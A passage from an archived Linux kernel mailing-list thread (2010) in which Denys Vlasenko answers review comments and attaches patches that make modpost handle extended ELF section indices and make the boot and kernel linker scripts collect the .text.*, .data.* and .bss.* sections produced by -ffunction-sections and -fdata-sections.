 	Elf_Shdr *sechdrs = elf->sechdrs;
-	int section = sechdr->sh_info;
+	int section = shndx2secindex(sechdr->sh_info);
 
 	return (void *)elf->hdr + sechdrs[section].sh_offset +
 		r->r_offset - sechdrs[section].sh_addr;
@@ -1447,7 +1497,7 @@
 		r.r_addend = TO_NATIVE(rela->r_addend);
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1505,7 +1555,7 @@
 		}
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1530,7 +1580,7 @@
 	Elf_Shdr *sechdrs = elf->sechdrs;
 
 	/* Walk through all sections */
-	for (i = 0; i < elf->hdr->e_shnum; i++) {
+	for (i = 0; i < elf->num_sections; i++) {
 		check_section(modname, elf, &elf->sechdrs[i]);
 		/* We want to process only relocation sections and not .init */
 		if (sechdrs[i].sh_type == SHT_RELA)
--- linux-2.6.35-rc4/scripts/mod/modpost.h
+++ linux-2.6.35-rc4-fs.modpost/scripts/mod/modpost.h
@@ -129,7 +129,50 @@
 	const char   *strtab;
 	char	     *modinfo;
 	unsigned int modinfo_len;
+
+	/* support for 32bit section numbers */
+
+	unsigned int num_sections; /* max_secindex + 1 */
+	unsigned int secindex_strings;
+	/* if Nth symbol table entry has .st_shndx = SHN_XINDEX,
+	 * take shndx from symtab_shndx_start[N] instead */
+	Elf32_Word   *symtab_shndx_start;
+	Elf32_Word   *symtab_shndx_stop;
 };
+
+static inline int is_shndx_special(unsigned int i)
+{
+	return i != SHN_XINDEX && i >= SHN_LORESERVE && i <= SHN_HIRESERVE;
+}
+
+/* shndx is in [0..SHN_LORESERVE) U (SHN_HIRESERVE, 0xfffffff], thus:
+ * shndx == 0               <=> sechdrs[0]
+ * ......
+ * shndx == SHN_LORESERVE-1 <=> sechdrs[SHN_LORESERVE-1]
+ * shndx == SHN_HIRESERVE+1 <=> sechdrs[SHN_LORESERVE]
+ * shndx == SHN_HIRESERVE+2 <=> sechdrs[SHN_LORESERVE+1]
+ * ......
+ * fyi: sym->st_shndx is uint16, SHN_LORESERVE = ff00, SHN_HIRESERVE = ffff,
+ * so basically we map  0000..feff -> 0000..feff
+ *                      ff00..ffff -> (you are a bad boy, dont do it)
+ *                     10000..xxxx -> ff00..(xxxx-0x100)
+ */
+static inline unsigned int shndx2secindex(unsigned int i)
+{
+	if (i <= SHN_HIRESERVE)
+		return i;
+	return i - (SHN_HIRESERVE + 1 - SHN_LORESERVE);
+}
+
+/* Accessor for sym->st_shndx, hides ugliness of "64k sections" */
+static inline unsigned int get_secindex(const struct elf_info *info,
+					const Elf_Sym *sym)
+{
+	if (sym->st_shndx != SHN_XINDEX)
+		return sym->st_shndx;
+	return shndx2secindex(info->symtab_shndx_start[sym -
+						       info->symtab_start]);
+}
 
 /* file2alias.c */
 extern unsigned int cross_build;

From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 03:29:09 +0200
Lines: 580
Approved: news@gmane.org
Message-ID: <201007260329.09913.vda.linux@googlemail.com>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723202448.GB27054@merkur.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_lTOTMwjX+GKUVQ1"
X-Trace: dough.gmane.org 1280107766 9862 80.91.229.12 (26 Jul 2010 01:29:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 01:29:26 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 26 03:29:23 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OdCVL-0002cw-EX
	for glka-linux-arch@lo.gmane.org; Mon, 26 Jul 2010 03:29:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753168Ab0GZB3S (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 25 Jul 2010 21:29:18 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:60926 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753134Ab0GZB3Q (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 25 Jul 2010 21:29:16 -0400
Original-Received: by fxm14 with SMTP id 14so5858085fxm.19
        for <multiple recipients>; Sun, 25 Jul 2010 18:29:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :message-id;
        bh=ggrRqigtIN+iQq1z/KhRJIzyZUXnCFqvRLRsd8841Ic=;
        b=XchILKvffrrfZogQglpij5k9d0syp9x6U5Ql6FzSAJlLhd9gT1QLIrvcxfsAKf/2jV
         s786udrDX1vo1AaaDjS/uc+9Om39FQnsFwnLrLP4drJRv1Kv+wNW7adfUUA4McJ9xwtz
         7z/DEOr6llimXBMj/PfIxFXqKJgF2s2VhuKeU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:message-id;
        b=M+hev7ArjfhQ5dBzf7tvyN+oDTQ0lwI8ZyKX8JuqpcSygS+lWDkTjzGyYzLMYdl7tF
         7b7dRsXdmUvmI4CaTF0Q9eKLkuAMoAn5WXMpiBM8HXpSTE6fg5H/x2xld+47tgbrrBI7
         /+0SMkKv1jYsQ1lDtiEMFOnuSHK1zdKb3sYls=
Original-Received: by 10.223.124.145 with SMTP id u17mr5611825far.92.1280107754909;
        Sun, 25 Jul 2010 18:29:14 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id p2sm1156856fak.46.2010.07.25.18.29.12
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 25 Jul 2010 18:29:13 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <20100723202448.GB27054@merkur.ravnborg.org>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7151 gmane.linux.kernel:1014112 gmane.linux.ports.parisc:3002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3002>

--Boundary-00=_lTOTMwjX+GKUVQ1
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 23 July 2010 22:24, Sam Ravnborg wrote:
> > * fix for kernel linker stripts: linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch
> >   It makes _all_ linker scripts -ffunction/data-sections safe via:
> >   -       *(.data)
> >   +       *(.data .data.*)
> >   
> 
> This patch touches both the regular kernel linker scripts and the
> boot linker scripts.
> I would strongly prefer a split so you touched the boot linker
> scripts in a separate patch.

No problem.

> In addition the patch handles more sections than
> documented: rodata, bss, text.

Yes, that was assumed.

> The patch introduce the following syntax for input sections:
> 
>     *(.bss .bss.*)
>
> Where the kernel linker script would have one input
> section per line.
> Can we stick to the "layout" used in the kernel linker scripts?

Sure.


> The patch in addition in several places changes linker
> scripts that already uses the two-lines layout to a single line approach.
> These "fixes" should be omitted.

Reverted.

> Why do we need *(.bss .bss.*)?
> Does -fdata-sections introduce special .bss sectiosn too?

Yes, it does.

Please take a look at attached updated patches.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
-- 
vda


--Boundary-00=_lTOTMwjX+GKUVQ1
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="linux-2.6.35-rc4-fs-boot-linker-scripts.v2.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fs-boot-linker-scripts.v2.patch"

--- linux-2.6.35-rc4/arch/alpha/boot/bootloader.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/alpha/boot/bootloader.lds
@@ -4,17 +4,17 @@
 SECTIONS
 {
   . = 0x20000000;
-  .text : { *(.text) }
+  .text : { *(.text) *(.text.*) }
   _etext = .;
   PROVIDE (etext = .);
   .rodata : { *(.rodata) *(.rodata.*) }
-  .data : { *(.data) CONSTRUCTORS }
+  .data : { *(.data) *(.data.*) CONSTRUCTORS }
   .got : { *(.got) }
   .sdata : { *(.sdata) }
   _edata = .;
   PROVIDE (edata = .);
   .sbss : { *(.sbss) *(.scommon) }
-  .bss : { *(.bss) *(COMMON) }
+  .bss : { *(.bss) *(.bss.*) *(COMMON) }
   _end = . ;
   PROVIDE (end = .);
 
--- linux-2.6.35-rc4/arch/arm/boot/bootp/bootp.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/arm/boot/bootp/bootp.lds
@@ -16,6 +16,7 @@
    _stext = .;
    *(.start)
    *(.text)
+   *(.text.*)
    initrd_size = initrd_end - initrd_start;
    _etext = .;
   }
--- linux-2.6.35-rc4/arch/cris/boot/compressed/decompress_v10.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/cris/boot/compressed/decompress_v10.lds
@@ -13,6 +13,7 @@
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.rodata)
 		*(.rodata.*)
 		_etext = . ;
@@ -20,11 +21,13 @@
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
--- linux-2.6.35-rc4/arch/cris/boot/compressed/decompress_v32.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/cris/boot/compressed/decompress_v32.lds
@@ -13,6 +13,7 @@
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.rodata)
 		*(.rodata.*)
 		_etext = . ;
@@ -20,11 +21,13 @@
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
--- linux-2.6.35-rc4/arch/cris/boot/rescue/rescue_v10.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/cris/boot/rescue/rescue_v10.lds
@@ -10,11 +10,13 @@
 	{
 		stext = . ;
 		*(.text)
+		*(.text.*)
 		etext = . ;
 	} > flash
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		edata = . ;
 	} > flash
 }
--- linux-2.6.35-rc4/arch/cris/boot/rescue/rescue_v32.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/cris/boot/rescue/rescue_v32.lds
@@ -17,6 +17,7 @@
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.init.text)
 		*(.rodata)
 		*(.rodata.*)
@@ -25,12 +26,14 @@
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > bootblk
 	.bss :
 	{
 		_bss = . ;
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > intmem
 
--- linux-2.6.35-rc4/arch/h8300/boot/compressed/vmlinux.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/h8300/boot/compressed/vmlinux.lds
@@ -6,12 +6,14 @@
 	__text = .;
 	       *(.text..startup)
 	       *(.text)
+	       *(.text.*)
         __etext = . ;
         }
 
 	.rodata :
 	{
 		*(.rodata)
+		*(.rodata.*)
 	}
         .data :
 
--- linux-2.6.35-rc4/arch/h8300/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/h8300/boot/compressed/vmlinux.scr
@@ -4,6 +4,7 @@
 	_input_len = .;
 	LONG(_input_data_end - _input_data) _input_data = .;
 	*(.data)
+	*(.data.*)
 	_input_data_end = .;
 	}
 }
--- linux-2.6.35-rc4/arch/ia64/hp/sim/boot/bootloader.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/ia64/hp/sim/boot/bootloader.lds
@@ -7,13 +7,13 @@
   . = 0x100000;
 
   _text = .;
-  .text : { *(__ivt_section) *(.text) }
+  .text : { *(__ivt_section) *(.text) *(.text.*) }
   _etext = .;
 
   /* Global data */
   _data = .;
   .rodata : { *(.rodata) *(.rodata.*) }
-  .data    : { *(.data) *(.gnu.linkonce.d*) CONSTRUCTORS }
+  .data    : { *(.data) *(.data.*) *(.gnu.linkonce.d*) CONSTRUCTORS }
   __gp = ALIGN (8) + 0x200000;
   .got           : { *(.got.plt) *(.got) }
   /* We want the small data sections together, so single-instruction offsets
@@ -24,7 +24,7 @@
 
   __bss_start = .;
   .sbss      : { *(.sbss) *(.scommon) }
-  .bss       : { *(.bss) *(COMMON) }
+  .bss       : { *(.bss) *(.bss.*) *(COMMON) }
   . = ALIGN(64 / 8);
   __bss_stop = .;
   _end = . ;
--- linux-2.6.35-rc4/arch/m32r/boot/compressed/vmlinux.lds.S
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/m32r/boot/compressed/vmlinux.lds.S
@@ -6,12 +6,12 @@
   . = CONFIG_MEMORY_START + 0x00400000;
 
   _text = .;
-  .text : { *(.text) } = 0
+  .text : { *(.text) *(.text.*) } = 0
   .rodata : { *(.rodata) *(.rodata.*) }
   _etext = .;
 
   . = ALIGN(32 / 8);
-  .data : { *(.data) }
+  .data : { *(.data) *(.data.*) }
   . = ALIGN(32 / 8);
   _got = .;
   .got  : { *(.got) _egot = .; *(.got.*) }
@@ -19,7 +19,7 @@
 
   . = ALIGN(32 / 8);
   __bss_start = .;
-  .bss : { *(.bss) *(.sbss) }
+  .bss : { *(.bss) *(.bss.*) *(.sbss) }
   . = ALIGN(32 / 8);
   _ebss = .;
   . = ALIGN(4096);
--- linux-2.6.35-rc4/arch/m32r/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/m32r/boot/compressed/vmlinux.scr
@@ -3,6 +3,7 @@
   .data : {
 	zimage_data = .;
 	*(.data)
+	*(.data.*)
 	zimage_data_end = .;
 	}
   zimage_len = zimage_data_end - zimage_data;
--- linux-2.6.35-rc4/arch/mn10300/boot/compressed/vmlinux.lds
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/mn10300/boot/compressed/vmlinux.lds
@@ -4,6 +4,7 @@
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
 	*(.data)
+	*(.data.*)
 	input_data_end = .;
 	}
 }
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.coff.lds.S
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/powerpc/boot/zImage.coff.lds.S
@@ -7,6 +7,7 @@
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -41,6 +42,7 @@
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   _end = . ;
 
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.lds.S
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/powerpc/boot/zImage.lds.S
@@ -7,6 +7,7 @@
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -45,6 +46,7 @@
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.ps3.lds.S
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/powerpc/boot/zImage.ps3.lds.S
@@ -21,6 +21,7 @@
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -44,6 +45,7 @@
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
--- linux-2.6.35-rc4/arch/sh/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/sh/boot/compressed/vmlinux.scr
@@ -4,6 +4,7 @@
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
 	*(.data)
+	*(.data.*)
 	output_len = . - 4;
 	input_data_end = .;
 	}
--- linux-2.6.35-rc4/arch/x86/boot/setup.ld
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/x86/boot/setup.ld
@@ -20,7 +20,7 @@
 	.initdata	: { *(.initdata) }
 	__end_init = .;
 
-	.text		: { *(.text) }
+	.text		: { *(.text) *(.text.*) }
 	.text32		: { *(.text32) }
 
 	. = ALIGN(16);
@@ -46,6 +46,7 @@
 	{
 		__bss_start = .;
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	. = ALIGN(16);
--- linux-2.6.35-rc4/arch/xtensa/boot/boot-elf/boot.lds.S
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/xtensa/boot/boot-elf/boot.lds.S
@@ -10,19 +10,21 @@
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
 		*(.rodata)
+		*(.rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
 		*(.data)
+		*(.data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -58,6 +60,7 @@
 		*(.scommon)
 		*(.dynbss)
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	_end = .;
--- linux-2.6.35-rc4/arch/xtensa/boot/boot-redboot/boot.ld
+++ linux-2.6.35-rc4-fs-boot-linker-scripts/arch/xtensa/boot/boot-redboot/boot.ld
@@ -8,19 +8,21 @@
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
 		*(.rodata)
+		*(.rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
 		*(.data)
+		*(.data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -56,6 +58,7 @@
 		*(.scommon)
 		*(.dynbss)
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	_end = .;

--Boundary-00=_lTOTMwjX+GKUVQ1
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="linux-2.6.35-rc4-fs-kernel-linker-scripts.v2.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fs-kernel-linker-scripts.v2.patch"

--- linux-2.6.35-rc4/arch/frv/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/frv/kernel/vmlinux.lds.S
@@ -114,7 +114,6 @@
 
   .sbss		: { *(.sbss .sbss.*) }
   .bss		: { *(.bss .bss.*) }
-  .bss..stack	: { *(.bss) }
 
   __bss_stop = .;
   _end = . ;
--- linux-2.6.35-rc4/arch/ia64/scripts/check-segrel.lds
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/ia64/scripts/check-segrel.lds
@@ -1,9 +1,9 @@
 SECTIONS {
 	. = SIZEOF_HEADERS;
-	.rodata : { *(.rodata) } :ro
+	.rodata : { *(.rodata) *(.rodata.*) } :ro
 	.note : { *(.note*) }
 	. = 0xa0000;
-	.data : { *(.data) } :dat
+	.data : { *(.data) *(.data.*) } :dat
 	/DISCARD/ : { *(*) }
 }
 PHDRS {
--- linux-2.6.35-rc4/arch/m68knommu/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/m68knommu/kernel/vmlinux.lds.S
@@ -169,6 +169,7 @@
 		. = ALIGN(4);
 		_sbss = . ;
 		*(.bss)
+		*(.bss.*)
 		*(COMMON)
 		. = ALIGN(4) ;
 		_ebss = . ;
--- linux-2.6.35-rc4/arch/mips/lasat/image/romscript.normal
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/mips/lasat/image/romscript.normal
@@ -12,6 +12,7 @@
   .data ALIGN(0x10) :
   {
     *(.data)
+    *(.data.*)
   }
   _image_start = ADDR(.data);
   _image_size = SIZEOF(.data);
--- linux-2.6.35-rc4/arch/parisc/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/parisc/kernel/vmlinux.lds.S
@@ -112,6 +112,7 @@
 	}
 	.bss : {
 		*(.bss)
+		*(.bss.*)
 		*(COMMON)
 	}
 	__bss_stop = .;
--- linux-2.6.35-rc4/arch/sh/kernel/vsyscall/vsyscall.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/sh/kernel/vsyscall/vsyscall.lds.S
@@ -35,7 +35,7 @@
 	 */
 	. = 0x400;
 
-	.text		: { *(.text) } 			:text	=0x90909090
+	.text		: { *(.text) *(.text.*) }	:text	=0x90909090
 	.note		: { *(.note.*) }		:text	:note
 	.eh_frame_hdr	: { *(.eh_frame_hdr ) }		:text	:eh_frame_hdr
 	.eh_frame	: {
--- linux-2.6.35-rc4/arch/x86/kernel/acpi/realmode/wakeup.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/x86/kernel/acpi/realmode/wakeup.lds.S
@@ -42,6 +42,7 @@
 	.bss :	{
 		__bss_start = .;
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 
--- linux-2.6.35-rc4/arch/x86/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/arch/x86/kernel/vmlinux.lds.S
@@ -307,6 +307,7 @@
 		__bss_start = .;
 		*(.bss..page_aligned)
 		*(.bss)
+		*(.bss.*)
 		. = ALIGN(4);
 		__bss_stop = .;
 	}
--- linux-2.6.35-rc4/include/asm-generic/vmlinux.lds.h
+++ linux-2.6.35-rc4-fs-kernel-linker-scripts/include/asm-generic/vmlinux.lds.h
@@ -140,9 +140,22 @@
 #define TRACE_SYSCALLS()
 #endif
 
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * arch/.../vmlinux.lds.S decides where to place various double-dot sections
+ * as needed by its arch, here DATA_DATA needs to be careful and collect
+ * only .data and .data.foo sections, skipping .data..foo
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 /* .data section */
 #define DATA_DATA							\
 	*(.data)							\
+	*(.data.[A-Za-z0-9_$^]*)					\
 	*(.ref.data)							\
 	DEV_KEEP(init.data)						\
 	DEV_KEEP(exit.data)						\
@@ -202,7 +215,8 @@
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start_rodata) = .;			\
-		*(.rodata) *(.rodata.*)					\
+		*(.rodata)						\
+		*(.rodata.[A-Za-z0-9_$^]*)				\
 		*(__vermagic)		/* Kernel version magic */	\
 		*(__markers_strings)	/* Markers: strings */		\
 		*(__tracepoints_strings)/* Tracepoints: strings */	\
@@ -369,6 +383,7 @@
 		ALIGN_FUNCTION();					\
 		*(.text.hot)						\
 		*(.text)						\
+		*(.text.[A-Za-z0-9_$^]*)				\
 		*(.ref.text)						\
 	DEV_KEEP(init.text)						\
 	DEV_KEEP(exit.text)						\
@@ -502,6 +517,7 @@
 		*(.bss..page_aligned)					\
 		*(.dynbss)						\
 		*(.bss)							\
+		*(.bss.[A-Za-z0-9_$^]*)					\
 		*(COMMON)						\
 	}
 

--Boundary-00=_lTOTMwjX+GKUVQ1--

From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 03:31:34 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <201007260331.34372.vda.linux@googlemail.com>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723203543.GB27288@merkur.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280107912 10247 80.91.229.12 (26 Jul 2010 01:31:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 01:31:52 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 26 03:31:48 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OdCXf-0003Hr-43
	for glka-linux-arch@lo.gmane.org; Mon, 26 Jul 2010 03:31:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753165Ab0GZBbl (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 25 Jul 2010 21:31:41 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:50152 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753134Ab0GZBbk (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 25 Jul 2010 21:31:40 -0400
Original-Received: by fxm14 with SMTP id 14so5858341fxm.19
        for <multiple recipients>; Sun, 25 Jul 2010 18:31:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=ZWlodPOfxlAItcol5R4tTjwhCBP+sm+0K1Lywi8B6co=;
        b=gF0n6c7vIfsuexMeHHEWL4ll0OFZ1jflh0hl1KNHlq9QhqqdIGZWjOm8He9fpUNiuw
         evXw0/tVUZMv1OtkhNJ5kS4+VN3Qk3E6Mpl2WNzw1yZ4ceYSftGkTXTdYaLIBex/CKNy
         B5nWys/tjkFx42/IO7A8/01qIZwDejETW84kI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=fUZsyWfA88oSlGtzSSMU6/dayLX4VaBi24y55losSHERDBymM4c0ry23BUbqvkvznI
         yxyD1zpFNaDdkUtUuMfHtK2B1d3OkZYfRCE2SAKYBiHt/KZewG70WVM1ONGrP/TVzvrB
         9Hn8lptxNhqy64PNxwtODnb0k08AbJSN6ygyk=
Original-Received: by 10.223.104.136 with SMTP id p8mr5605982fao.105.1280107899398;
        Sun, 25 Jul 2010 18:31:39 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id b9sm1159442faq.7.2010.07.25.18.31.37
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 25 Jul 2010 18:31:38 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <20100723203543.GB27288@merkur.ravnborg.org>
Content-Disposition: inline
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7152 gmane.linux.kernel:1014113 gmane.linux.ports.parisc:3003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3003>

